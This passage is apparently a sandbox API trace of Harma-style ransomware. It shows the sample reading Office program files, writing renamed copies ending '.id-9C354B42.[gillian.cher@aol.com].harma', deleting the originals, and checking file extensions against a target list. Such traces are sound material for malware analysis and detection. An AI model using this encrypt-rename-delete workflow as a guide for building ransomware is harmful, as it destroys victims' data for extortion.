Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 0x20 [0159.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.174] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.174] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.175] GetLastError () returned 0x0 [0159.175] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0159.176] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0159.177] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.177] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0159.177] SetEndOfFile (hFile=0x380) returned 1 [0159.177] CloseHandle (hObject=0x380) returned 1 [0159.177] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.177] SetEndOfFile (hFile=0x370) returned 1 [0159.179] CloseHandle (hObject=0x370) returned 1 [0159.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 1 [0159.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.181] lstrlenW (lpString=".doc") returned 4 [0159.181] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.181] lstrlenW (lpString=".docx") returned 5 [0159.181] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.181] lstrlenW (lpString=".pdf") returned 4 [0159.181] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.181] lstrlenW (lpString=".xls") returned 4 [0159.181] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.181] lstrlenW (lpString=".xlsx") returned 5 [0159.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.181] lstrlenW (lpString=".ppt") returned 4 [0159.181] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.181] lstrlenW (lpString=".zip") returned 4 [0159.181] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.181] lstrlenW (lpString=".rar") returned 4 [0159.181] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.181] lstrlenW (lpString=".bz2") returned 4 [0159.181] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.181] lstrlenW (lpString=".7z") returned 3 [0159.181] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.181] lstrlenW (lpString=".dbf") returned 4 [0159.182] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString=".1cd") returned 4 [0159.182] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString=".jpg") returned 4 [0159.182] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString=".doc") returned 4 [0159.182] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.182] lstrlenW (lpString=".docx") returned 5 [0159.182] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.182] lstrlenW (lpString=".pdf") returned 4 [0159.182] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString=".xls") returned 4 [0159.182] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString=".xlsx") returned 5 [0159.182] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.182] lstrlenW (lpString=".ppt") returned 4 [0159.182] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString=".zip") returned 4 [0159.182] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString=".rar") returned 4 [0159.182] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.182] lstrlenW (lpString=".bz2") returned 4 [0159.182] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.182] lstrlenW (lpString=".7z") returned 3 [0159.182] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.182] lstrlenW (lpString=".dbf") returned 4 [0159.183] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.183] lstrlenW (lpString=".1cd") returned 4 [0159.183] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0159.183] lstrlenW (lpString=".jpg") returned 4 [0159.183] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.183] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.183] lstrlenW (lpString="OUTLWVW.DLL") returned 11 [0159.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.183] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=128864) returned 1 [0159.184] CloseHandle (hObject=0x370) returned 1 [0159.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll")) returned 0x20 [0159.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.184] lstrlenW (lpString=".doc") returned 4 [0159.184] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.184] lstrlenW (lpString=".docx") returned 5 [0159.184] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0159.184] lstrlenW (lpString=".pdf") returned 4 [0159.184] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.184] lstrlenW (lpString=".xls") returned 4 [0159.184] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.184] lstrlenW (lpString=".xlsx") returned 5 [0159.184] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0159.184] lstrlenW (lpString=".ppt") returned 4 [0159.185] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString=".zip") returned 4 [0159.185] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString=".rar") returned 4 [0159.185] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString=".bz2") returned 4 [0159.185] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.185] lstrlenW (lpString=".7z") returned 3 [0159.185] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString=".dbf") returned 4 [0159.185] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString=".1cd") returned 4 [0159.185] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString=".jpg") returned 4 [0159.185] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.185] lstrlenW (lpString=".doc") returned 4 [0159.185] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString=".docx") returned 5 [0159.185] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0159.185] lstrlenW (lpString=".pdf") returned 4 [0159.185] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString=".xls") returned 4 [0159.185] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.185] lstrlenW (lpString=".xlsx") returned 5 [0159.185] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0159.185] lstrlenW (lpString=".ppt") returned 4 [0159.186] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.186] lstrlenW (lpString=".zip") returned 4 [0159.186] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.186] lstrlenW (lpString=".rar") returned 4 [0159.186] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.186] lstrlenW (lpString=".bz2") returned 4 [0159.186] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.186] lstrlenW (lpString=".7z") returned 3 [0159.186] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.186] lstrlenW (lpString=".dbf") returned 4 [0159.186] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.186] lstrlenW (lpString=".1cd") returned 4 [0159.186] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59 [0159.186] lstrlenW (lpString=".jpg") returned 4 [0159.186] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.186] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0159.186] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19 [0159.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.187] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=11136) returned 1 [0159.187] CloseHandle (hObject=0x370) returned 1 [0159.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 0x20 [0159.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.188] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.188] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.188] GetLastError () returned 0x0 [0159.188] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x2b80, lpOverlapped=0x0) returned 1 [0159.190] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0159.192] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.192] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0159.192] SetEndOfFile (hFile=0x380) returned 1 [0159.192] CloseHandle (hObject=0x380) returned 1 [0159.192] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.192] SetEndOfFile (hFile=0x370) returned 1 [0159.194] CloseHandle (hObject=0x370) returned 1 [0159.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 1 [0159.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString=".doc") returned 4 [0159.200] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".docx") returned 5 [0159.200] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.200] lstrlenW (lpString=".pdf") returned 4 [0159.200] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".xls") returned 4 [0159.200] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".xlsx") returned 5 [0159.200] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.200] lstrlenW (lpString=".ppt") returned 4 [0159.200] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString=".zip") returned 4 [0159.200] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".rar") returned 4 [0159.200] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".bz2") returned 4 [0159.200] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString=".7z") returned 3 [0159.200] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString=".dbf") returned 4 [0159.200] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString=".1cd") returned 4 [0159.200] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.200] lstrlenW (lpString=".jpg") returned 4 [0159.200] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString=".doc") returned 4 [0159.201] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".docx") returned 5 [0159.201] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.201] lstrlenW (lpString=".pdf") returned 4 [0159.201] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".xls") returned 4 [0159.201] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".xlsx") returned 5 [0159.201] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.201] lstrlenW (lpString=".ppt") returned 4 [0159.201] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString=".zip") returned 4 [0159.201] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".rar") returned 4 [0159.201] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".bz2") returned 4 [0159.201] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString=".7z") returned 3 [0159.201] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString=".dbf") returned 4 [0159.201] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString=".1cd") returned 4 [0159.201] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0159.201] lstrlenW (lpString=".jpg") returned 4 [0159.201] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.202] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0159.202] lstrlenW (lpString="PE.VSL") returned 6 [0159.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.504] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=84352) returned 1 [0159.504] CloseHandle (hObject=0x388) returned 1 [0159.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 0x20 [0159.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0159.594] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.594] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.595] GetLastError () returned 0x0 [0159.595] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x14980, lpOverlapped=0x0) returned 1 [0159.678] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x14990, lpOverlapped=0x0) returned 1 [0159.680] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.680] WriteFile (in: hFile=0x370, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0159.681] SetEndOfFile (hFile=0x370) returned 1 [0159.681] CloseHandle (hObject=0x370) returned 1 [0159.681] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.681] SetEndOfFile (hFile=0x208) returned 1 [0159.684] CloseHandle (hObject=0x208) returned 1 [0159.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.861] lstrlenW (lpString=".doc") returned 4 